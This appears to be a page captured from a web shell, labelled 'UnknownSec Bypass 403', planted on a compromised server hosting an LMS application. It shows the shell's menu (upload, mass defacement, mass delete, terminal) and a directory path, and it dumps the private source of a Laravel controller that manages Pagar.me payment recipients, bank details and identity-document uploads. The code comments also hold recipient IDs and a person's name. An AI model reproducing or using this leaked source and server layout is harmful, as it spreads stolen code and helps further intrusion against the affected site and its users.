UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
eagleead
/
app
/
Http
/
Controllers
/
Admin
/
Config
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
MembershipController.php
<?php namespace EstudioLMS\Http\Controllers\Admin\Config; use EstudioLMS\Base\ResponseBuilder; use EstudioLMS\Events\UploadDocs; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Http\Requests\Admin\Config\ConfigMembershipRequest; use EstudioLMS\Http\Requests\Admin\Config\GatewayDocsRequest; use EstudioLMS\Models\Config\PagarmeRecipientPj; use EstudioLMS\Models\Security\GatewayDoc; use EstudioLMS\Repositories\Config\BankInterface; use EstudioLMS\Repositories\Config\BoletoPaghiperRepository; use EstudioLMS\Repositories\Config\PagarmeRecipientInterface; use EstudioLMS\Services\Admin\ConfigurationServices; use EstudioLMS\Services\PagarMeService; use Illuminate\Contracts\Filesystem\FileNotFoundException; use Illuminate\Contracts\Validation\ValidationException; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Support\Str; use mjanssen\BreadcrumbsBundle\Breadcrumbs; use EstudioLMS\Repositories\Config\BankRepository; use Storage; use File; use EstudioLMS\Services\PagarMeServiceApi; /** * Class MembershipController * @package EstudioLMS\Http\Controllers\Admin\Config */ class MembershipController extends Controller { /** * @var ResponseBuilder */ private $responseBuilder; /** * @var Breadcrumbs */ private $breadCrumbs; /** * @var ConfigurationServices */ private $configurationServices; /** * @var BankRepository */ private $bankRepository; /** * @var BoletoPaghiperRepository */ private $boletoPaghiperRepository; /** * @var PagarmeRecipientInterface */ private $pagarmeRecipient; /** * @var PagarMeService */ private $pagarMeService; /** * @var PagarMeServiceApi */ private $pagarMeServiceApi; /** * MembershipController constructor. * @param ResponseBuilder $responseBuilder * @param Breadcrumbs $breadcrumbs * @param ConfigurationServices $configurationServices * @param BankInterface $bankRepository * @param BoletoPaghiperRepository $boletoPaghiperRepository * @param PagarmeRecipientInterface $pagarmeRecipient * @param PagarMeService $pagarMeService * @param PagarMeServiceApi $pagarMeServiceApi */ public function __construct( ResponseBuilder $responseBuilder, Breadcrumbs $breadcrumbs, ConfigurationServices $configurationServices, BankInterface $bankRepository, BoletoPaghiperRepository $boletoPaghiperRepository, PagarmeRecipientInterface $pagarmeRecipient, PagarMeService $pagarMeService, PagarMeServiceApi $pagarMeServiceApi ) { $this->middleware('admins'); $this->responseBuilder = $responseBuilder; $this->breadCrumbs = $breadcrumbs; $this->configurationServices = $configurationServices; $this->bankRepository = $bankRepository; $this->boletoPaghiperRepository = $boletoPaghiperRepository; $this->pagarmeRecipient = $pagarmeRecipient; $this->pagarMeService = $pagarMeService; $this->pagarMeServiceApi = $pagarMeServiceApi; } /** * @return mixed */ public function index() { $env = 'environment'; $title = trans('admin_config.financialTitle'); $this->breadCrumbs->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_config.financialTitle'), route('admin.config.index')); $bread = $this->breadCrumbs->generate(); $banks = ['' => trans('admin_config.financialSelectBank')] + $this->bankRepository->all() ->lists('name', 'code')->toArray(); $accountTypes = [ '0' => trans('admin_config.financialSelectAccount'), 'conta_corrente' => trans('admin_config.financialSelectContaCorrente'), 'conta_poupanca' => trans('admin_config.financialSelectContaPoupanca'), 'conta_corrente_conjunta' => trans('admin_config.financialSelectContaCorrenteConjunta'), 'conta_poupanca_conjunta' => trans('admin_config.financialSelectContaPoupancaConjunta') ]; $data = $this->pagarmeRecipient->with('recipientPj')->firstRecord(); $edit = false; if (!$data) { $edit = true; $values = $this->boletoPaghiperRepository->firstRecord(); $data = [ 'full_name' => $values->name ?? null, 'doc' => isset($values->name) ? !empty($values->cpf) ? $values->cpf : $values->cnpj : null, 'bank_id' => 0, 'account_type' => 0, 'agency' => null, 'agency_digit' => null, 'account' => null, 'account_digit' => null ]; $dataKyc = []; } else { $dataKyc = []; if(isset($data->pagarme_recipient_id)) { $recipient = $this->getRecipient($data->pagarme_recipient_id); $qrcode = false; // Verificar se o recipient foi encontrado e tem a estrutura correta if($recipient && isset($recipient['kyc_details'])) { if($recipient['kyc_details']['status'] == 'partially_denied'){ //Só pode fazer chamadas nesta api neste status, caso contrario apresenta erro 403 $qrcode = $this->qrcodeRender($data->pagarme_recipient_id); } $dataKyc = [ 'kyc_status' => $recipient['kyc_details']['status'], 'kyc_status_reason' => $recipient['kyc_details']['status_reason'], 'qrcode' => $qrcode ]; } else { // Se não tem kyc_details, significa que é um recebedor antigo ou da API v5 sem KYC ainda configurado $dataKyc = [ 'kyc_status' => 'not_configured', 'kyc_status_reason' => 'Recebedor criado sem processo de KYC ou aguardando configuração', 'qrcode' => false ]; } if($data->created_at > '2024-07-01'){ $dataKyc['new_recipient'] = true; } } } $docs = GatewayDoc::first(); return $this->responseBuilder->render( 'admin.config.pagarme_config', [], compact('title', 'env', 'bread', 'banks', 'accountTypes', 'data', 'edit', 'docs', 'dataKyc') ); } /** * @param ConfigMembershipRequest $request * @return \Illuminate\Http\RedirectResponse */ public function store(ConfigMembershipRequest $request) { $data = $request->all(); if (isset($data['agency_digit'])) { if ($data['agency_digit'] == '') { $data['agency_digit'] = null; } } //Validador PJ if($data['person_type'] == "juridica"){ if($data['cnpj'] == '') { $validator = \Validator::make([], []); $validator->errors()->add('pagarme_error', 'Campos obrigatórios'); flash()->success('Preencher todos os campos obrigatórios marcados com * '); return back()->withErrors($validator)->withInput(); } } $recipient = $this->registerRecipient($request); //dd($recipient); //Retornar erros da api Pagar.me if(isset($recipient['error_code'])) { $validator = \Validator::make([], []); $validator->errors()->add('pagarme_error', $recipient['error_message']); return back()->withErrors($validator)->withInput(); } // Na API v5, verificar status do recebedor $status = $this->pagarMeServiceApi->getRecipient($recipient['id']); // Verificar se conseguimos obter o status if (!$status || !is_array($status)) { // Se não conseguimos obter o status, vamos continuar com o recebedor criado $status = ['status' => 'unknown']; } // Na API v5, o status pode estar em diferentes campos $recipientStatus = isset($status['status']) ? $status['status'] : 'active'; // Aguardar processamento se necessário while(isset($status['status']) && $status['status'] == 'registration') { sleep(2); $newStatus = $this->pagarMeServiceApi->getRecipient($recipient['id']); if ($newStatus && is_array($newStatus)) { $status = $newStatus; $recipientStatus = isset($status['status']) ? $status['status'] : 'active'; } else { break; // Sair do loop se não conseguir obter status } } if(isset($status['status']) && $status['status'] == 'refused') { $validator = \Validator::make([], []); $statusReason = isset($status['status_reason']) ? $status['status_reason'] : 'Recebedor recusado'; $validator->errors()->add('pagarme_error', $statusReason); flash()->error($statusReason); return back()->withErrors($validator)->withInput(); } $data['user_id'] = \Auth::user()->id; $data['bank_id'] = str_pad($data['bank_id'], 3, '0', STR_PAD_LEFT); // Na API v5, a estrutura da conta bancária pode ser diferente $data['pagarme_account_id'] = isset($recipient['default_bank_account']['id']) ? $recipient['default_bank_account']['id'] : (isset($recipient['bank_account']['id']) ? $recipient['bank_account']['id'] : null); $data['pagarme_recipient_id'] = $recipient['id']; $data['doc'] = preg_replace('/[^0-9]/is', '', $data['doc']); $pagarmeRecipient = $this->pagarmeRecipient->create($data); //Se pessoa jurídica if($data['person_type'] == "juridica"){ $dataPj['cnpj'] = $data['cnpj']; $dataPj['company_name'] = $data['company_name']; $dataPj['trading_name'] = $data['trading_name']; $dataPj['annual_revenue'] = $data['annual_revenue']; $dataPj['email'] = $data['email_company']; $dataPj['site_url'] = $data['site_url']; $dataPj['pagarme_recipient_id'] = $pagarmeRecipient->id; PagarmeRecipientPj::create($dataPj); } flash()->success(trans('admin_config.financialSaveSuccess')); return redirect()->route('admin.membership.index'); } /** * @param ConfigMembershipRequest $request * @return \Illuminate\Http\RedirectResponse */ public function update(ConfigMembershipRequest $request) { $data = $request->all(); if (isset($data['agency_digit'])) { if ($data['agency_digit'] == '') { $data['agency_digit'] = null; } } $register = $this->pagarmeRecipient->firstRecord(); $recipient = $this->updateRecipient($request, $register->pagarme_recipient_id); // Verificar se houve erro na atualização if (is_array($recipient) && isset($recipient['error'])) { $validator = \Validator::make([], []); $validator->errors()->add('pagarme_error', $recipient['error']); flash()->error($recipient['error']); return back()->withErrors($validator)->withInput(); } if (is_array($recipient) && isset($recipient['error_code'])) { $validator = \Validator::make([], []); $validator->errors()->add('pagarme_error', $recipient['error_message']); flash()->error($recipient['error_message']); return back()->withErrors($validator)->withInput(); } // Verificar se houve aviso sobre Allow List if (is_array($recipient) && isset($recipient['warning']) && $recipient['warning'] === 'allow_list_required') { flash()->warning($recipient['message'] . ' <br><a href="' . $recipient['dashboard_url'] . '" target="_blank">Acessar Dashboard Pagar.me</a>'); // Continuar com o processo usando os dados do recebedor $recipient = $recipient['recipient']; } // Na API v5, verificar status do recebedor $status = $this->pagarMeServiceApi->getRecipient($recipient['id']); // Verificar se conseguimos obter o status if (!$status || !is_array($status)) { // Se não conseguimos obter o status, vamos continuar com o recebedor atualizado $status = ['status' => 'unknown']; } // Aguardar processamento se necessário while(isset($status['status']) && $status['status'] == 'registration') { sleep(2); $newStatus = $this->pagarMeServiceApi->getRecipient($recipient['id']); if ($newStatus && is_array($newStatus)) { $status = $newStatus; } else { break; // Sair do loop se não conseguir obter status } } if(isset($status['status']) && $status['status'] == 'refused') { $validator = \Validator::make([], []); $statusReason = isset($status['status_reason']) ? $status['status_reason'] : 'Recebedor recusado'; $validator->errors()->add('pagarme_error', $statusReason); flash()->error($statusReason); return back()->withErrors($validator)->withInput(); } $register->fill( [ 'bank_id' => str_pad($data['bank_id'], 3, '0', STR_PAD_LEFT), 'account_type' => $data['account_type'] , 'agency' => $data['agency'], 'agency_digit' => $data['agency_digit'], 'account' => $data['account'], 'account_digit' => $data['account_digit'], 'pagarme_account_id' => isset($recipient['default_bank_account']['id']) ? $recipient['default_bank_account']['id'] : (isset($recipient['bank_account']['id']) ? $recipient['bank_account']['id'] : null), 'pagarme_recipient_id' => $recipient['id'], // Na API v5, alguns campos podem ter estrutura diferente ou estar ausentes 'email' => isset($recipient['register_information']['email']) ? $recipient['register_information']['email'] : $data['email'], 'birthdate' => isset($recipient['register_information']['birthdate']) ? $recipient['register_information']['birthdate'] : $data['birthdate'], 'monthly_income' => isset($recipient['register_information']['monthly_income']) ? $recipient['register_information']['monthly_income'] : $data['monthly_income'], 'professional_occupation' => isset($recipient['register_information']['professional_occupation']) ? $recipient['register_information']['professional_occupation'] : $data['professional_occupation'], 'address_street' => isset($recipient['register_information']['address']['street']) ? $recipient['register_information']['address']['street'] : $data['address_street'], 'address_complementary' => isset($recipient['register_information']['address']['complementary']) ? $recipient['register_information']['address']['complementary'] : $data['address_complementary'], 'address_street_number' => isset($recipient['register_information']['address']['street_number']) ? $recipient['register_information']['address']['street_number'] : $data['address_street_number'], 'address_neighborhood' => isset($recipient['register_information']['address']['neighborhood']) ? $recipient['register_information']['address']['neighborhood'] : $data['address_neighborhood'], 'address_city' => isset($recipient['register_information']['address']['city']) ? $recipient['register_information']['address']['city'] : $data['address_city'], 'address_state' => isset($recipient['register_information']['address']['state']) ? $recipient['register_information']['address']['state'] : $data['address_state'], 'address_zipcode' => isset($recipient['register_information']['address']['zipcode']) ? $recipient['register_information']['address']['zipcode'] : $data['address_zipcode'], 'address_reference_point' => isset($recipient['register_information']['address']['reference_point']) ? $recipient['register_information']['address']['reference_point'] : $data['address_reference_point'], 'phone_ddd' => isset($recipient['register_information']['phone_numbers'][0]['ddd']) ? $recipient['register_information']['phone_numbers'][0]['ddd'] : $data['phone_ddd'], 'phone_number' => isset($recipient['register_information']['phone_numbers'][0]['number']) ? $recipient['register_information']['phone_numbers'][0]['number'] : $data['phone_number'], ] ); $register->save(); flash()->success(trans('admin_config.financialSaveSuccess')); return redirect()->route('admin.membership.index'); } /** * @param Request $request * @return array */ private function registerRecipient(Request $request) { //return $this->pagarMeService->registerRecipient($request); return $this->pagarMeServiceApi->registerRecipient($request); } /** * @param Request $request * @param $recipientId * @return array|\PagarMe\Sdk\Recipient\Recipient */ private function updateRecipient(Request $request, $recipientId) { // Adicionar o recipient_id aos dados do request para o método da API v5 $data = $request->all(); $data['pagarme_recipient_id'] = $recipientId; $request->merge($data); return $this->pagarMeServiceApi->updateRecipient($request); } /** * @param GatewayDocsRequest $request * @return RedirectResponse * @throws FileNotFoundException */ public function storeDoc(GatewayDocsRequest $request) { $data = $request->only('type'); $socialContract = $data['type'] == 'PJ' ? $request->file('social_contract') : null; $docFront = $request->file('doc_with_photo_front'); $docBack = $request->file('doc_with_photo_back'); $selfie = $request->file('selfie_with_doc'); File::cleanDirectory(Storage::disk('docs')->getDriver()->getAdapter()->applyPathPrefix('')); $gatewayDoc = GatewayDoc::first(); if(!$gatewayDoc) { $docs = GatewayDoc::create( [ 'protocol' => Str::random(15), 'social_contract' => $socialContract ? Str::random() . '_social_contract.' . $socialContract->getClientOriginalExtension() : $socialContract, 'doc_with_photo_front' => Str::random() . '_doc_front.' . $docFront->getClientOriginalExtension(), 'doc_with_photo_back' => Str::random() . '_doc_back.' . $docBack->getClientOriginalExtension(), 'selfie_with_doc' => Str::random() . '_selfie.' . $selfie->getClientOriginalExtension(), 'status' => 1, ] ); } else { $docs = $gatewayDoc->fill([ 'protocol' => Str::random(15), 'social_contract' => $socialContract ? Str::random() . '_social_contract.' . $socialContract->getClientOriginalExtension() : $socialContract, 'doc_with_photo_front' => Str::random() . '_doc_front.' . $docFront->getClientOriginalExtension(), 'doc_with_photo_back' => Str::random() . '_doc_back.' . $docBack->getClientOriginalExtension(), 'selfie_with_doc' => Str::random() . '_selfie.' . $selfie->getClientOriginalExtension(), 'status' => 1, 'comments' => '', ]); $docs->save(); } if($socialContract) { Storage::disk('docs')->put($docs['social_contract'], File::get($socialContract)); } Storage::disk('docs')->put($docs['doc_with_photo_front'], File::get($docFront)); Storage::disk('docs')->put($docs['doc_with_photo_back'], File::get($docBack)); Storage::disk('docs')->put($docs['selfie_with_doc'], File::get($selfie)); \Event::fire(new UploadDocs()); flash()->success(trans('Documentos envados com sucesso!')); return redirect()->route('admin.membership.index'); } function qrcodeRender($recipientId) { //$recipientId = "re_clxxjr8hc068n0l9tqg7e70bu"; // Postman 010 //$recipientId = "re_clxxccar91ygh0l9tvpk69g7r"; // Moisés Abreu $qrcode = $this->pagarMeServiceApi->qrcodeRender($recipientId); return $qrcode; } function getRecipient($recipientId) { //$recipientId = "re_clxxjr8hc068n0l9tqg7e70bu"; // Postman 010 //$recipientId = "re_clxxccar91ygh0l9tvpk69g7r"; // Moisés Abreu $recipient = $this->pagarMeServiceApi->getRecipient($recipientId); return $recipient; } }
Copyright © 2026 - UnknownSec